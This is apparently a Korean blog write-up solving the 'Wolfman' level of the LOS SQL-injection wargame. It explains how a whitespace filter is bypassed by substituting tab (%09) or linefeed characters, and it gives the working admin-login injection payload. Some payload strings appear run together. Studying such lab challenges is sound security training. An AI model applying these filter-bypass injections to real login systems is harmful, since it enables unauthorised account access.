반응형
5.Wolfman 풀이.
간단히 분석.
if(preg_match('//i', $_GET[pw])) exit("No whitespace ~_~");
==> 일단 whitespace는 공백을 사용못하게 한다.
if($result['id'] == 'admin')solve("wolfman");
id='admin' 조건만 맞으면 문제가 풀린다.
space는 아스키 값으로 20(Hex)을 넣어주게 되면
?pw=%27%20or%20id=%27adminpw='%20or%20id='admin
이번 문제는 space bar가 필터링 되어 있다.
spacebar는 tap..(%09)..linefeed(%0A)로 우회한다.
일단 guest 값은 FALSE로 하고 id='admin'과 pw의 값을 얻어줘야 한다.
?pw=%27%20or%20id=%27adminpw='%20or%20id='admin 입력해본다.
위와 같은 화면이 뜬다.
쿼리는 id='guest' and pw='0' or id='admin' and pw>'0'
즉 연산자 순위가 빠른 and 후 or 연산이 시작되니까 admin의 값을 얻을 수 있다.
space 부분의 우회가 중요하니까 url 부분에서 space bar를 tap=>%09.
?pw=%27%09or%09id=%27adminpw='%09or%09id='admin
Cf) Space를 대체할 수 있는 게 무엇인지를 알면 된다.
반응형
'# Related site issues > LOS' 카테고리의 다른 글
7.Orge. (0) | 2018.05.07 |
---|---|
6.Darkelf. (0) | 2018.05.07 |
4.Orc. (0) | 2018.05.06 |
3.Goblin. (0) | 2018.05.06 |
2.Cobolt. (0) | 2018.05.06 |